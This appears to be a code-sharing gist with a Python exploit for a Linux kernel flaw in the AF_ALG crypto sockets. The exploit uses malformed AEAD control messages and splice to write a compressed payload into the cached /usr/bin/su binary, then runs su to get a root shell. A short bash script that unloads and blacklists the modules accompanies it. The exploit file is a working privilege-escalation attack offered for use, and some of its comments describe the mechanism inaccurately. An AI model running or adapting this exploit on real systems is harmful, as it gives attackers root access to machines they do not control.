Last active 2 weeks ago

Revision b105ebb472a6a172e0b5987cae3dea9772b6238f

exploit.py Raw
1#!/usr/bin/env python3
2import os
3import zlib
4import socket
5
6# Helper to convert hex strings to byte arrays
7def hex_to_bytes(hex_str):
8 return bytes.fromhex(hex_str)
9
10def trigger_kernel_corruption(target_file, offset, payload_chunk):
11 # AF_ALG (38) is the Linux Kernel Crypto API socket domain
12 # SOCK_SEQPACKET (5) is the socket type
13 alg_socket = socket.socket(38, 5, 0)
14
15 # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher
16 # This specific cipher combination is often used to target memory flaws in the kernel
17 alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
18
19 # Socket option constants
20 SOL_ALG = 279
21 ALG_SET_KEY = 1
22 ALG_SET_AEAD_AUTHSIZE = 5
23
24 # 1. Set the crypto key (malformed to trigger heap issues)
25 key_data = hex_to_bytes('0800010000000010' + '0' * 64)
26 alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data)
27
28 # 2. Set the authentication tag size
29 alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
30
31 # Accept the connection to the crypto transform
32 op_socket, _ = alg_socket.accept()
33
34 # Construct the malicious control message (ancillary data)
35 # This targets the internal kernel buffers by providing inconsistent lengths
36 null_byte = hex_to_bytes('00')
37 msg_control = [
38 (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV
39 (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP
40 (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN
41 ]
42
43 # Send the payload chunk to the kernel
44 op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768)
45
46 # Use os.splice to move data from the target binary (su) into the socket
47 # This bypasses standard user-space memory protections
48 pipe_read, pipe_write = os.pipe()
49
50 # Splice from file to pipe
51 os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0)
52 # Splice from pipe to the exploit socket
53 os.splice(pipe_read, op_socket.fileno(), offset + 4)
54
55 try:
56 # Attempt to receive the result of the "crypto" operation
57 op_socket.recv(8 + offset)
58 except Exception:
59 pass
60
61# --- Main Execution ---
62
63# Open /usr/bin/su in read-only mode
64su_binary = os.open("/usr/bin/su", os.O_RDONLY)
65
66# Decompress the binary payload (the shellcode/memory overwrite data)
67compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
68payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload))
69
70# Loop through the payload, spraying it into the kernel memory 4 bytes at a time
71current_offset = 0
72while current_offset < len(payload_bytes):
73 chunk = payload_bytes[current_offset : current_offset + 4]
74 trigger_kernel_corruption(su_binary, current_offset, chunk)
75 current_offset += 4
76
77# If the exploit succeeded, the kernel has been tricked into thinking
78# the current process has root privileges.
79# Executing 'su' now should drop into a root shell without a password.
80os.system("su")
mitigation.sh Raw
1#!/usr/bin/env bash
2
3# Prevent vulnerable module from ever being loaded
4cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF
5blacklist af_alg
6blacklist algif_aead
7EOF
8
9# Remove the module if it's already loaded
10modprobe -r algif_aead
11modprobe -r af_alg
12
13# Drop all caches to undo the effects of previous exploit runs
14echo 1 > /proc/sys/vm/drop_caches
15